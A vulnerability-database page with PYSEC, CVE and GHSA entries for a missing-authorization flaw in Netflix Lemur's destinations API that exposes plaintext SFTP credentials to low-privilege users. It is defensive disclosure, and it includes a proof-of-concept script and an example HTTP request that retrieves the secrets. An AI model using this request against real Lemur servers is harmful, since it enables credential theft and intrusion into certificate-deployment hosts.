Vulnerability-Lookup

PYSEC-2026-3674

Vulnerability from pysec - Published: 2026-08-19 11:56 - Updated: 2026-08-19 12:16

Details

Summary

Lemur's destination read endpoints -- GET /api/1/destinations and GET /api/1/destinations/<id> -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (POST/PUT/DELETE) are gated with @admin_permission.require(http_exception=403), but the two read handlers are protected only by login_required (inherited from AuthenticatedResource). They do not even exclude read-only users.

The built-in SFTP destination plugin (sftp-destination) stores its password and privateKeyPass options in cleartext in the destinations.options column (the plugin's own docstring states "Passwords are not encrypted and stored as a plain text."). Because DestinationOutputSchema serializes every option value verbatim, any authenticated principal -- including a read-only user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.

Details

Read endpoints lack the authorization that their write siblings enforce:

lemur/destinations/views.py

class DestinationsList(AuthenticatedResource):
    @validate_schema(None, destinations_output_schema)
    def get(self):                       # <-- only login_required; no admin/read-only gate
        ...
        return service.render(args)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def post(self, data=None): ...

class Destinations(AuthenticatedResource):
    @validate_schema(None, destination_output_schema)
    def get(self, destination_id):       # <-- only login_required; no admin/read-only gate
        return service.get(destination_id)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def put(self, destination_id, data=None): ...

    @admin_permission.require(http_exception=403)   # write path IS gated
    def delete(self, destination_id): ...

The output schema emits all option values, including secret ones:

lemur/destinations/schemas.py

class DestinationOutputSchema(LemurOutputSchema):
    ...
    options = fields.List(fields.Dict())          # raw option dicts, incl. {"name":"password","value":...}

    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]   # copied verbatim into plugin block too
            ...
        return data

options is the raw JSONType DB column (lemur/destinations/models.py), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:

lemur/plugins/lemur_sftp/plugin.py

"""
    Passwords are not encrypted and stored as a plain text.
"""
options = [
    ...
    {"name": "password",       "type": "str", "required": False, ...},   # plaintext
    {"name": "privateKeyPass", "type": "str", "required": False, ...},   # plaintext
    ...
]

There is no read-only enforcement on these GET handlers (no StrictRolePermission() call), so even users explicitly restricted to read-only access can read the secrets.

PoC

Reproduction of Lemur's exact serialization path (verbatim DestinationOutputSchema + PluginOutputSchema, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:

from marshmallow import fields, post_dump, Schema

class PluginOutputSchema(Schema):                 # verbatim from lemur/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to="pluginOptions")
    slug = fields.String(); title = fields.String()

class DestinationOutputSchema(Schema):            # verbatim from lemur/destinations/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)
    options = fields.List(fields.Dict())
    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]
            for option in data["plugin"]["pluginOptions"]:
                if "export-plugin" in option["type"]:
                    option["value"]["pluginOptions"] = option["value"]["plugin_options"]
        return data

class Destination:                                # a stored SFTP destination row
    id = 4; label = "prod-nginx-sftp"; description = "Deploy certs via SFTP"; active = True
    options = [
        {"name": "host", "type": "str", "value": "10.0.5.20"},
        {"name": "user", "type": "str", "value": "deploy"},
        {"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"},
        {"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"},
    ]
    plugin = {"slug": "sftp-destination", "title": "SFTP",
              "description": "Allow the uploading of certificates to SFTP",
              "options": [], "id": 1, "label": None, "active": None}

out = DestinationOutputSchema().dump(Destination()).data
import json; print(json.dumps(out))
assert "S3cr3t-SFTP-Passw0rd!" in json.dumps(out)
assert "rsa-key-passphrase-xyz" in json.dumps(out)

Output (truncated) -- the plaintext secrets appear in both options and plugin.pluginOptions:

{"options":[ ... {"name":"password","type":"str","value":"S3cr3t-SFTP-Passw0rd!"},
 {"name":"privateKeyPass","type":"str","value":"rsa-key-passphrase-xyz"} ...],
 "plugin":{"pluginOptions":[ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ...],
 "slug":"sftp-destination", ...}}

End-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:

GET /api/1/destinations/4 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer <low-priv-user-token>

HTTP/1.1 200 OK
{ "plugin": { "pluginOptions": [ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ... ] } }

Impact

Confidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to read-only -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.

Suggested fix: gate the destination GET handlers with admin_permission (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in DestinationOutputSchema.

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Impacted products

Name	purl
lemur	pkg:pypi/lemur

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lemur",
        "purl": "pkg:pypi/lemur"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.11.0",
        "0.2.1",
        "0.8.0",
        "0.8.1",
        "0.9.0",
        "1.0.0",
        "1.1.0",
        "1.2.0",
        "1.3.1",
        "1.3.2",
        "1.4.0",
        "1.5.0",
        "1.6.0",
        "1.7.0",
        "1.8.0",
        "1.8.1",
        "1.8.2",
        "1.9.0",
        "1.9.1",
        "1.9.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71307",
    "GHSA-6c8m-q6g9-vrw3"
  ],
  "details": "### Summary\nLemur\u0027s destination read endpoints -- `GET /api/1/destinations` and `GET /api/1/destinations/\u003cid\u003e` -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (`POST`/`PUT`/`DELETE`) are gated with `@admin_permission.require(http_exception=403)`, but the two read handlers are protected only by `login_required` (inherited from `AuthenticatedResource`). They do not even exclude `read-only` users.\n\nThe built-in SFTP destination plugin (`sftp-destination`) stores its `password` and `privateKeyPass` options in cleartext in the `destinations.options` column (the plugin\u0027s own docstring states \"Passwords are not encrypted and stored as a plain text.\"). Because `DestinationOutputSchema` serializes every option value verbatim, any authenticated principal -- including a `read-only` user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.\n\n\n### Details\nRead endpoints lack the authorization that their write siblings enforce:\n\n`lemur/destinations/views.py`\n```python\nclass DestinationsList(AuthenticatedResource):\n    @validate_schema(None, destinations_output_schema)\n    def get(self):                       # \u003c-- only login_required; no admin/read-only gate\n        ...\n        return service.render(args)\n\n    @validate_schema(destination_input_schema, destination_output_schema)\n    @admin_permission.require(http_exception=403)   # write path IS gated\n    def post(self, data=None): ...\n\nclass Destinations(AuthenticatedResource):\n    @validate_schema(None, destination_output_schema)\n    def get(self, destination_id):       # \u003c-- only login_required; no admin/read-only gate\n        return service.get(destination_id)\n\n    @validate_schema(destination_input_schema, destination_output_schema)\n    @admin_permission.require(http_exception=403)   # write path IS gated\n    def put(self, destination_id, data=None): ...\n\n    @admin_permission.require(http_exception=403)   # write path IS gated\n    def delete(self, destination_id): ...\n```\n\nThe output schema emits all option values, including secret ones:\n\n`lemur/destinations/schemas.py`\n```python\nclass DestinationOutputSchema(LemurOutputSchema):\n    ...\n    options = fields.List(fields.Dict())          # raw option dicts, incl. {\"name\":\"password\",\"value\":...}\n\n    @post_dump\n    def fill_object(self, data):\n        if data:\n            data[\"plugin\"][\"pluginOptions\"] = data[\"options\"]   # copied verbatim into plugin block too\n            ...\n        return data\n```\n\n`options` is the raw `JSONType` DB column (`lemur/destinations/models.py`), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:\n\n`lemur/plugins/lemur_sftp/plugin.py`\n```python\n\"\"\"\n    Passwords are not encrypted and stored as a plain text.\n\"\"\"\noptions = [\n    ...\n    {\"name\": \"password\",       \"type\": \"str\", \"required\": False, ...},   # plaintext\n    {\"name\": \"privateKeyPass\", \"type\": \"str\", \"required\": False, ...},   # plaintext\n    ...\n]\n```\n\nThere is no `read-only` enforcement on these GET handlers (no `StrictRolePermission()` call), so even users explicitly restricted to read-only access can read the secrets.\n\n\n### PoC\nReproduction of Lemur\u0027s exact serialization path (verbatim `DestinationOutputSchema` + `PluginOutputSchema`, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:\n\n```python\nfrom marshmallow import fields, post_dump, Schema\n\nclass PluginOutputSchema(Schema):                 # verbatim from lemur/schemas.py\n    id = fields.Integer(); label = fields.String(); description = fields.String()\n    active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to=\"pluginOptions\")\n    slug = fields.String(); title = fields.String()\n\nclass DestinationOutputSchema(Schema):            # verbatim from lemur/destinations/schemas.py\n    id = fields.Integer(); label = fields.String(); description = fields.String()\n    active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)\n    options = fields.List(fields.Dict())\n    @post_dump\n    def fill_object(self, data):\n        if data:\n            data[\"plugin\"][\"pluginOptions\"] = data[\"options\"]\n            for option in data[\"plugin\"][\"pluginOptions\"]:\n                if \"export-plugin\" in option[\"type\"]:\n                    option[\"value\"][\"pluginOptions\"] = option[\"value\"][\"plugin_options\"]\n        return data\n\nclass Destination:                                # a stored SFTP destination row\n    id = 4; label = \"prod-nginx-sftp\"; description = \"Deploy certs via SFTP\"; active = True\n    options = [\n        {\"name\": \"host\", \"type\": \"str\", \"value\": \"10.0.5.20\"},\n        {\"name\": \"user\", \"type\": \"str\", \"value\": \"deploy\"},\n        {\"name\": \"password\", \"type\": \"str\", \"value\": \"S3cr3t-SFTP-Passw0rd!\"},\n        {\"name\": \"privateKeyPass\", \"type\": \"str\", \"value\": \"rsa-key-passphrase-xyz\"},\n    ]\n    plugin = {\"slug\": \"sftp-destination\", \"title\": \"SFTP\",\n              \"description\": \"Allow the uploading of certificates to SFTP\",\n              \"options\": [], \"id\": 1, \"label\": None, \"active\": None}\n\nout = DestinationOutputSchema().dump(Destination()).data\nimport json; print(json.dumps(out))\nassert \"S3cr3t-SFTP-Passw0rd!\" in json.dumps(out)\nassert \"rsa-key-passphrase-xyz\" in json.dumps(out)\n```\n\nOutput (truncated) -- the plaintext secrets appear in both `options` and `plugin.pluginOptions`:\n```json\n{\"options\":[ ... {\"name\":\"password\",\"type\":\"str\",\"value\":\"S3cr3t-SFTP-Passw0rd!\"},\n {\"name\":\"privateKeyPass\",\"type\":\"str\",\"value\":\"rsa-key-passphrase-xyz\"} ...],\n \"plugin\":{\"pluginOptions\":[ ... {\"name\":\"password\",\"value\":\"S3cr3t-SFTP-Passw0rd!\"} ...],\n \"slug\":\"sftp-destination\", ...}}\n```\n\nEnd-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:\n```\nGET /api/1/destinations/4 HTTP/1.1\nHost: lemur.example.com\nAuthorization: Bearer \u003clow-priv-user-token\u003e\n\nHTTP/1.1 200 OK\n{ \"plugin\": { \"pluginOptions\": [ ... {\"name\":\"password\",\"value\":\"S3cr3t-SFTP-Passw0rd!\"} ... ] } }\n```\n\n### Impact\nConfidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to `read-only` -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.\n\nSuggested fix: gate the destination GET handlers with `admin_permission` (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in `DestinationOutputSchema`.",
  "id": "PYSEC-2026-3674",
  "modified": "2026-08-19T12:16:27.319532Z",
  "published": "2026-08-19T11:56:28.427292Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/security/advisories/GHSA-6c8m-q6g9-vrw3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/commit/751c970ec42a53d00ecc9c6a96e0e51b6737ae53"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Netflix/lemur"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/releases/tag/v1.9.3"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/lemur"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6c8m-q6g9-vrw3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71307"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lemur: Authenticated low-privilege users can read plaintext destination credentials (SFTP password / private-key passphrase) via the destinations API"
}

CVE-2026-71307 (GCVE-0-2026-71307)

Vulnerability from cvelistv5 – Published: 2026-08-18 19:02 – Updated: 2026-08-18 19:35

Title

Lemur: Authenticated low-privilege users can read plaintext destination credentials (SFTP password / private-key passphrase) via the destinations API

Summary

Lemur manages TLS certificate creation. Prior to 1.9.3, GET /api/1/destinations and GET /api/1/destinations/ relied only on authentication while sibling write handlers required admin_permission. DestinationOutputSchema returned raw options and copied them into pluginOptions without redacting sensitive values. The sftp-destination plugin stored password and privateKeyPass values in plaintext, allowing even a read-only user to retrieve credentials for remote certificate-deployment hosts. The exposed credentials could permit direct access to SFTP systems and TLS material outside the Lemur security boundary. The fix requires administrator permission for destination reads and redacts options marked sensitive. This issue is fixed in version 1.9.3.

Severity

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-18 19:32 UTC

CWE

CWE-862 - Missing Authorization

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/Netflix/lemur/security/advisor…	x_refsource_CONFIRM
https://github.com/Netflix/lemur/commit/751c970ec…	x_refsource_MISC
https://github.com/Netflix/lemur/releases/tag/v1.9.3	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Netflix	lemur	Affected: < 1.9.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-71307",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-18T19:32:16.899388Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-18T19:35:04.763Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/Netflix/lemur/security/advisories/GHSA-6c8m-q6g9-vrw3"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "lemur",
          "vendor": "Netflix",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.9.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Lemur manages TLS certificate creation. Prior to 1.9.3, GET /api/1/destinations and GET /api/1/destinations/ relied only on authentication while sibling write handlers required admin_permission. DestinationOutputSchema returned raw options and copied them into pluginOptions without redacting sensitive values. The sftp-destination plugin stored password and privateKeyPass values in plaintext, allowing even a read-only user to retrieve credentials for remote certificate-deployment hosts. The exposed credentials could permit direct access to SFTP systems and TLS material outside the Lemur security boundary. The fix requires administrator permission for destination reads and redacts options marked sensitive. This issue is fixed in version 1.9.3."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-18T19:02:14.056Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Netflix/lemur/security/advisories/GHSA-6c8m-q6g9-vrw3",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Netflix/lemur/security/advisories/GHSA-6c8m-q6g9-vrw3"
        },
        {
          "name": "https://github.com/Netflix/lemur/commit/751c970ec42a53d00ecc9c6a96e0e51b6737ae53",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Netflix/lemur/commit/751c970ec42a53d00ecc9c6a96e0e51b6737ae53"
        },
        {
          "name": "https://github.com/Netflix/lemur/releases/tag/v1.9.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Netflix/lemur/releases/tag/v1.9.3"
        }
      ],
      "source": {
        "advisory": "GHSA-6c8m-q6g9-vrw3",
        "discovery": "UNKNOWN"
      },
      "title": "Lemur: Authenticated low-privilege users can read plaintext destination credentials (SFTP password / private-key passphrase) via the destinations API"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-71307",
    "datePublished": "2026-08-18T19:02:14.056Z",
    "dateReserved": "2026-08-05T18:14:42.063Z",
    "dateUpdated": "2026-08-18T19:35:04.763Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-6C8M-Q6G9-VRW3

Vulnerability from github – Published: 2026-08-18 20:51 – Updated: 2026-08-18 20:51

Summary

Lemur: Authenticated low-privilege users can read plaintext destination credentials (SFTP password / private-key passphrase) via the destinations API

Details

Summary

Details

Read endpoints lack the authorization that their write siblings enforce:

lemur/destinations/views.py

class DestinationsList(AuthenticatedResource):
    @validate_schema(None, destinations_output_schema)
    def get(self):                       # <-- only login_required; no admin/read-only gate
        ...
        return service.render(args)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def post(self, data=None): ...

class Destinations(AuthenticatedResource):
    @validate_schema(None, destination_output_schema)
    def get(self, destination_id):       # <-- only login_required; no admin/read-only gate
        return service.get(destination_id)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def put(self, destination_id, data=None): ...

    @admin_permission.require(http_exception=403)   # write path IS gated
    def delete(self, destination_id): ...

The output schema emits all option values, including secret ones:

lemur/destinations/schemas.py

class DestinationOutputSchema(LemurOutputSchema):
    ...
    options = fields.List(fields.Dict())          # raw option dicts, incl. {"name":"password","value":...}

    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]   # copied verbatim into plugin block too
            ...
        return data

options is the raw JSONType DB column (lemur/destinations/models.py), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:

lemur/plugins/lemur_sftp/plugin.py

"""
    Passwords are not encrypted and stored as a plain text.
"""
options = [
    ...
    {"name": "password",       "type": "str", "required": False, ...},   # plaintext
    {"name": "privateKeyPass", "type": "str", "required": False, ...},   # plaintext
    ...
]

There is no read-only enforcement on these GET handlers (no StrictRolePermission() call), so even users explicitly restricted to read-only access can read the secrets.

PoC

Reproduction of Lemur's exact serialization path (verbatim DestinationOutputSchema + PluginOutputSchema, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:

from marshmallow import fields, post_dump, Schema

class PluginOutputSchema(Schema):                 # verbatim from lemur/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to="pluginOptions")
    slug = fields.String(); title = fields.String()

class DestinationOutputSchema(Schema):            # verbatim from lemur/destinations/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)
    options = fields.List(fields.Dict())
    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]
            for option in data["plugin"]["pluginOptions"]:
                if "export-plugin" in option["type"]:
                    option["value"]["pluginOptions"] = option["value"]["plugin_options"]
        return data

class Destination:                                # a stored SFTP destination row
    id = 4; label = "prod-nginx-sftp"; description = "Deploy certs via SFTP"; active = True
    options = [
        {"name": "host", "type": "str", "value": "10.0.5.20"},
        {"name": "user", "type": "str", "value": "deploy"},
        {"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"},
        {"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"},
    ]
    plugin = {"slug": "sftp-destination", "title": "SFTP",
              "description": "Allow the uploading of certificates to SFTP",
              "options": [], "id": 1, "label": None, "active": None}

out = DestinationOutputSchema().dump(Destination()).data
import json; print(json.dumps(out))
assert "S3cr3t-SFTP-Passw0rd!" in json.dumps(out)
assert "rsa-key-passphrase-xyz" in json.dumps(out)

Output (truncated) -- the plaintext secrets appear in both options and plugin.pluginOptions:

{"options":[ ... {"name":"password","type":"str","value":"S3cr3t-SFTP-Passw0rd!"},
 {"name":"privateKeyPass","type":"str","value":"rsa-key-passphrase-xyz"} ...],
 "plugin":{"pluginOptions":[ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ...],
 "slug":"sftp-destination", ...}}

End-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:

GET /api/1/destinations/4 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer <low-priv-user-token>

HTTP/1.1 200 OK
{ "plugin": { "pluginOptions": [ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ... ] } }

Impact

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lemur"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71307"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T20:51:26Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nLemur\u0027s destination read endpoints -- `GET /api/1/destinations` and `GET /api/1/destinations/\u003cid\u003e` -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (`POST`/`PUT`/`DELETE`) are gated with `@admin_permission.require(http_exception=403)`, but the two read handlers are protected only by `login_required` (inherited from `AuthenticatedResource`). They do not even exclude `read-only` users.\n\nThe built-in SFTP destination plugin (`sftp-destination`) stores its `password` and `privateKeyPass` options in cleartext in the `destinations.options` column (the plugin\u0027s own docstring states \"Passwords are not encrypted and stored as a plain text.\"). Because `DestinationOutputSchema` serializes every option value verbatim, any authenticated principal -- including a `read-only` user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.\n\n\n### Details\nRead endpoints lack the authorization that their write siblings enforce:\n\n`lemur/destinations/views.py`\n```python\nclass DestinationsList(AuthenticatedResource):\n    @validate_schema(None, destinations_output_schema)\n    def get(self):                       # \u003c-- only login_required; no admin/read-only gate\n        ...\n        return service.render(args)\n\n    @validate_schema(destination_input_schema, destination_output_schema)\n    @admin_permission.require(http_exception=403)   # write path IS gated\n    def post(self, data=None): ...\n\nclass Destinations(AuthenticatedResource):\n    @validate_schema(None, destination_output_schema)\n    def get(self, destination_id):       # \u003c-- only login_required; no admin/read-only gate\n        return service.get(destination_id)\n\n    @validate_schema(destination_input_schema, destination_output_schema)\n    @admin_permission.require(http_exception=403)   # write path IS gated\n    def put(self, destination_id, data=None): ...\n\n    @admin_permission.require(http_exception=403)   # write path IS gated\n    def delete(self, destination_id): ...\n```\n\nThe output schema emits all option values, including secret ones:\n\n`lemur/destinations/schemas.py`\n```python\nclass DestinationOutputSchema(LemurOutputSchema):\n    ...\n    options = fields.List(fields.Dict())          # raw option dicts, incl. {\"name\":\"password\",\"value\":...}\n\n    @post_dump\n    def fill_object(self, data):\n        if data:\n            data[\"plugin\"][\"pluginOptions\"] = data[\"options\"]   # copied verbatim into plugin block too\n            ...\n        return data\n```\n\n`options` is the raw `JSONType` DB column (`lemur/destinations/models.py`), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:\n\n`lemur/plugins/lemur_sftp/plugin.py`\n```python\n\"\"\"\n    Passwords are not encrypted and stored as a plain text.\n\"\"\"\noptions = [\n    ...\n    {\"name\": \"password\",       \"type\": \"str\", \"required\": False, ...},   # plaintext\n    {\"name\": \"privateKeyPass\", \"type\": \"str\", \"required\": False, ...},   # plaintext\n    ...\n]\n```\n\nThere is no `read-only` enforcement on these GET handlers (no `StrictRolePermission()` call), so even users explicitly restricted to read-only access can read the secrets.\n\n\n### PoC\nReproduction of Lemur\u0027s exact serialization path (verbatim `DestinationOutputSchema` + `PluginOutputSchema`, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:\n\n```python\nfrom marshmallow import fields, post_dump, Schema\n\nclass PluginOutputSchema(Schema):                 # verbatim from lemur/schemas.py\n    id = fields.Integer(); label = fields.String(); description = fields.String()\n    active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to=\"pluginOptions\")\n    slug = fields.String(); title = fields.String()\n\nclass DestinationOutputSchema(Schema):            # verbatim from lemur/destinations/schemas.py\n    id = fields.Integer(); label = fields.String(); description = fields.String()\n    active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)\n    options = fields.List(fields.Dict())\n    @post_dump\n    def fill_object(self, data):\n        if data:\n            data[\"plugin\"][\"pluginOptions\"] = data[\"options\"]\n            for option in data[\"plugin\"][\"pluginOptions\"]:\n                if \"export-plugin\" in option[\"type\"]:\n                    option[\"value\"][\"pluginOptions\"] = option[\"value\"][\"plugin_options\"]\n        return data\n\nclass Destination:                                # a stored SFTP destination row\n    id = 4; label = \"prod-nginx-sftp\"; description = \"Deploy certs via SFTP\"; active = True\n    options = [\n        {\"name\": \"host\", \"type\": \"str\", \"value\": \"10.0.5.20\"},\n        {\"name\": \"user\", \"type\": \"str\", \"value\": \"deploy\"},\n        {\"name\": \"password\", \"type\": \"str\", \"value\": \"S3cr3t-SFTP-Passw0rd!\"},\n        {\"name\": \"privateKeyPass\", \"type\": \"str\", \"value\": \"rsa-key-passphrase-xyz\"},\n    ]\n    plugin = {\"slug\": \"sftp-destination\", \"title\": \"SFTP\",\n              \"description\": \"Allow the uploading of certificates to SFTP\",\n              \"options\": [], \"id\": 1, \"label\": None, \"active\": None}\n\nout = DestinationOutputSchema().dump(Destination()).data\nimport json; print(json.dumps(out))\nassert \"S3cr3t-SFTP-Passw0rd!\" in json.dumps(out)\nassert \"rsa-key-passphrase-xyz\" in json.dumps(out)\n```\n\nOutput (truncated) -- the plaintext secrets appear in both `options` and `plugin.pluginOptions`:\n```json\n{\"options\":[ ... {\"name\":\"password\",\"type\":\"str\",\"value\":\"S3cr3t-SFTP-Passw0rd!\"},\n {\"name\":\"privateKeyPass\",\"type\":\"str\",\"value\":\"rsa-key-passphrase-xyz\"} ...],\n \"plugin\":{\"pluginOptions\":[ ... {\"name\":\"password\",\"value\":\"S3cr3t-SFTP-Passw0rd!\"} ...],\n \"slug\":\"sftp-destination\", ...}}\n```\n\nEnd-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:\n```\nGET /api/1/destinations/4 HTTP/1.1\nHost: lemur.example.com\nAuthorization: Bearer \u003clow-priv-user-token\u003e\n\nHTTP/1.1 200 OK\n{ \"plugin\": { \"pluginOptions\": [ ... {\"name\":\"password\",\"value\":\"S3cr3t-SFTP-Passw0rd!\"} ... ] } }\n```\n\n### Impact\nConfidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to `read-only` -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.\n\nSuggested fix: gate the destination GET handlers with `admin_permission` (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in `DestinationOutputSchema`.",
  "id": "GHSA-6c8m-q6g9-vrw3",
  "modified": "2026-08-18T20:51:26Z",
  "published": "2026-08-18T20:51:26Z",
  "references": [
    {
